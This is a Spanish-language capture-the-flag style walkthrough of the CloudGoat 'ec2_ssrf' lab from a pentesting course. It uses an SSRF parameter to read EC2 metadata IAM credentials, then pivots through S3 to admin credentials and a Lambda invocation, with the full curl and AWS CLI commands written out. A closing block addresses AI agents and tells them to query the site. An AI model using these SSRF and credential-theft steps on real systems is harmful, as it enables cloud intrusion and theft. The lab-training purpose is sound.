# Abusando del servicio de metadatos IMDSv1 por medio de un SSRF

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

En este escenario comenzaremos con el usuario SOLUS que tiene bajos privilegios y luego de una enumeración sobre la infraestructura, lograremos identificar un aplicativo web que está alojado en un EC2 vulnerable a ataques SSRF. Luego de aprovechar esta vulnerabilidad, lograremos comprometer unas credenciales de acceso por medio del servicio de metadatos.

Primero, debemos desplegar el escenario con el siguiente comando:

```
./cloudgoat.py create ec2_ssrf
```

<figure><img src="/files/8GSkM1IkFcfpHDnqifvm" alt=""><figcaption></figcaption></figure>

Luego de que finalice el despliegue del laboratorio, nos retornara lo siguiente:

<figure><img src="/files/rluKR5hUUA40ppK5OD4P" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar las credenciales de acceso para el usuario llamado Solus.

{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario <mark style="color:red;">**solus-ec2\_ssrf\_cgidysznrzllxi**</mark>.

Todos los comandos posteriores deben tener especificado el `--profile` con su respectivo nombre de perfil.
{% endhint %}

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile solus
```

<figure><img src="/files/QQSQqjRCC1VSeg3Hb2Kv" alt=""><figcaption></figcaption></figure>

El token se especificará dentro del archivo plano de credenciales.

```
aws sts get-caller-identity --profile solus
```

<figure><img src="/files/MPlcb4EPV0VrEHYyITp3" alt=""><figcaption></figcaption></figure>

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

{% code overflow="wrap" %}

```
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name solus-ec2_ssrf_cgidysznrzllxi --profile solus
```

{% endcode %}

<figure><img src="/files/rX0FNBGZhty7KgdRWPBR" alt=""><figcaption></figcaption></figure>

Vamos a listar las políticas para el usuario que será auditado:

```
aws iam list-attached-user-policies --user-name solus-ec2_ssrf_cgidysznrzllxi
```

<figure><img src="/files/Pwj4W00jKJXJwS5KL5eH" alt=""><figcaption></figcaption></figure>

Obteniendo información relevante para nuestra auditoria, es utilizando el ARN de la política del usuario auditado:

{% code overflow="wrap" %}

```
aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/cg-solus-policy-ec2_ssrf_cgidysznrzllxi --version-id v1
```

{% endcode %}

<figure><img src="/files/RDbqpDqgxNZWklnmFh7X" alt=""><figcaption></figcaption></figure>

Luego de identificar los permisos para el usuario Solus, ya podemos iniciar la auditoria de seguridad.

Vamos a enfocarnos en realizar una enumeración básica sobre el servicio de lambda.

Comenzamos con listando las funciones de lambda disponibles con el siguiente comando:

```
aws lambda list-functions --profile solus
```

<figure><img src="/files/k4COLQC9K8w2WzTnwThe" alt=""><figcaption></figcaption></figure>

Hemos identificado en las variables de entorno, unas credenciales de acceso aparentemente para un EC2.

**Enlace de referencia:**

{% embed url="<https://docs.bridgecrew.io/docs/bc_aws_secrets_3>" %}

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile lambda
```

<figure><img src="/files/nBg43p7v04dCRMjTKk8q" alt=""><figcaption></figcaption></figure>

```
aws sts get-caller-identity --profile lambda
```

<figure><img src="/files/jKidkKqTXOz37oi38wnx" alt=""><figcaption></figcaption></figure>

En este punto, podríamos lanzar un enumerate-iam para identificar los permisos para este nuevo usuario desconocido.

Teniendo en cuenta el nombre del usuario (`wrex-ec2_ssrf_cgidysznrzllxi`), podríamos decir que probablemente tenga privilegios en el servicio de EC2.

Así que vamos a ejecutar el siguiente comando para listar las instancias:

```
aws ec2 describe-instances --profile lambda
```

<figure><img src="/files/VtYUwPUZCVbcS8wSqbG3" alt=""><figcaption></figcaption></figure>

Logramos identificar una instancia corriendo.

Vamos a realizar un escaneo de puertos y servicios sobre el PublicDnsName de la instancia previamente identificada.

```
nmap -sV ec2-3-87-227-98.compute-1.amazonaws.com
```

<figure><img src="/files/cBSu6W0Ksdo5c7Gf2xdw" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar el puerto 80 con el servicio HTTP.

Por lo anterior, vamos a intentar realizar una petición GET sobre el portal web.

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com
```

<figure><img src="/files/ZVpEQ0qE9zR0wEhln1Za" alt=""><figcaption></figcaption></figure>

En este punto podríamos afirmar que el aplicativo cuenta con una vulnerabilidad de criticidad baja ya que está divulgando información sensible debido a una mala gestión de errores.

En el error podemos apreciar que se está utilizando tecnología de NodeJS y también se evidencia que es necesario especificar un parámetro llamado URL.

Por lo anterior, vamos a concatenarle a la URL el parámetro solicitado:

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=
```

<figure><img src="/files/tLfTMmNttlA3rGjzbLp1" alt=""><figcaption></figcaption></figure>

Luego de lo anterior, podemos apreciar que el aplicativo retorna un HTML con un mensaje totalmente diferente.

## ¿Qué es SSRF?

La falsificación de solicitudes del lado del servidor (también conocida como SSRF) es una vulnerabilidad de seguridad web que permite a un atacante inducir a la aplicación del lado del servidor a realizar solicitudes a una ubicación no deseada.

**Enlace de referencia:**&#x20;

{% embed url="<https://portswigger.net/web-security/ssrf>" %}

Vamos a validar si este sitio es vulnerable a ataques de SSRF por medio del parámetro URL:

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=www.google.com
```

<figure><img src="/files/EFRGYDSPLFv4xjg8Tj8v" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar que el código HTML del sitio `www.google.com` fue añadido a nuestro portal web que está alojado en la instancia y esto quiere decir que efectivamente existe la vulnerabilidad SSRF sobre la EC2.

Ahora vamos a aprovecharnos de esta vulnerabilidad y vamos a realizar una petición sobre el servicio de metadatos de la instancia.

Los *metadatos de instancia* son datos sobre una instancia que se pueden utilizar para configurar o administrar la instancia en ejecución. Los metadatos de instancia se dividen en categorías, como, por ejemplo, nombre de host, eventos y grupos de seguridad.

**Enlace de referencia:**&#x20;

{% embed url="<https://docs.aws.amazon.com/es_es/AWSEC2/latest/UserGuide/ec2-instance-metadata.html>" %}

El servicio de metadatos de una EC2 puede ser consumido por medio del siguiente enlace: <http://169.254.169.254/latest/meta-data/>

{% hint style="info" %}
Cabe resaltar, que el servicio de metadatos solo puede ser accedido desde dentro de la instancia.
{% endhint %}

Teniendo en cuenta lo anterior, vamos a aprovecharnos de la vulnerabilidad SSRF para comunicarnos con el servicio de metadatos:

{% code overflow="wrap" %}

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/
```

{% endcode %}

<figure><img src="/files/9TSDUCXDMA9YCGjqzVFY" alt=""><figcaption></figcaption></figure>

Teniendo en cuenta la evidencia previa, podemos afirmar que hemos explotado con éxito el SSRF contra el servicio de metadatos.

Ahora vamos a consumir el siguiente endpoint del servicio de metadatos encargado de retornar credenciales de acceso:

{% code overflow="wrap" %}

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-ec2_ssrf_cgidysznrzllxi 
```

{% endcode %}

<figure><img src="/files/eTJ4DhVYel7A7yp7qVCL" alt=""><figcaption></figcaption></figure>

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile ec2
```

<figure><img src="/files/Of0uJ9WfHl8wtrzbVRa2" alt=""><figcaption></figcaption></figure>

El token se especificará dentro del archivo plano de credenciales.

```
aws sts get-caller-identity --profile ec2
```

<figure><img src="/files/y8dz49SganhMKyvFdY4j" alt=""><figcaption></figcaption></figure>

En este punto, debemos validar los permisos para este rol comprometido y esto lo podríamos hacer utilizando [Enumerate-IAM.py](/cpna/tecnicas-de-enumeracion-en-iam/enumeracion-automatizada-por-medio-de-fuerza-bruta/enumerate-iam.py.md)

Nosotros vamos a saltarnos ese paso de la enumeración para agilizar y enfocarnos únicamente en la explotación del escenario.

Los permisos para este nuevo rol comprometido son:

<figure><img src="/files/ORaMhatEYHLhMGtvKCmK" alt=""><figcaption></figcaption></figure>

Uno de los permisos para este nuevo rol comprometido es el control total sobre el servicio de S3.

Vamos a realizar una enumeración sobre los Buckets con el objetivo de identificar información sensible dentro de ellos:

```
aws s3 ls --profile ec2
```

<figure><img src="/files/A5ecyM7r4jPpdmrkVEJG" alt=""><figcaption></figcaption></figure>

Luego de listar el servicio de s3, podemos apreciar un Bucket.

Vamos a listar el contenido de dicho Bucket:

```
aws s3 ls s3://cg-secret-s3-bucket-ec2-ssrf-cgidysznrzllxi --profile ec2
```

<figure><img src="/files/UMYLJEBdTZyX6EeBe99X" alt=""><figcaption></figcaption></figure>

Ahora hemos identificado un archivo de formato TXT.

Como tenemos control total sobre los Buckets, lo ideal sería descargar este archivo y visualizar su contenido.

{% code overflow="wrap" %}

```
aws s3 cp s3://cg-secret-s3-bucket-ec2-ssrf-cgidysznrzllxi/admin-user.txt ./ --profile ec2
```

{% endcode %}

<figure><img src="/files/vb3ImWQmhBCnSmE2AB3W" alt=""><figcaption></figcaption></figure>

Luego de descargar el archivo alojado en el Bucket, podemos visualizar que contiene otras credenciales.

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile end
```

<figure><img src="/files/6R7diuM21EXtuFYRlvZA" alt=""><figcaption></figcaption></figure>

```
aws sts get-caller-identity --profile end
```

<figure><img src="/files/HUBexEShTDSJwR3K40s4" alt=""><figcaption></figcaption></figure>

En este punto, debemos validar los permisos para este rol comprometido y esto lo podríamos hacer utilizando [Enumerate-IAM.py](/cpna/tecnicas-de-enumeracion-en-iam/enumeracion-automatizada-por-medio-de-fuerza-bruta/enumerate-iam.py.md)

Nosotros vamos a saltarnos ese paso de la enumeración para agilizar y enfocarnos únicamente en la explotación del escenario.

Los permisos para este nuevo usuario comprometido son:

<figure><img src="/files/mLlEWXIDTeKX6OXIdioM" alt=""><figcaption></figcaption></figure>

Como podemos apreciar este usuario tiene la posibilidad de invocar funciones de lambda.

Por lo anterior, vamos a listar las funciones actuales de lambda:

```
aws lambda list-functions --profile end
```

<figure><img src="/files/7wM46QtHnIIZrDRwoIMx" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
aws lambda invoke --function-name cg-lambda-ec2_ssrf_cgidysznrzllxi ./out.txt --profile end
```

{% endcode %}

<figure><img src="/files/h2gRnuwvIobgOr0DrpDj" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar que este desafio a llegado a su fin y esto es debido al mensaje que nos ha retornado la invocación de la lambda.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpna/tecnicas-ofensivas-contra-ec2/abusando-del-servicio-de-metadatos-imdsv1-por-medio-de-un-ssrf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
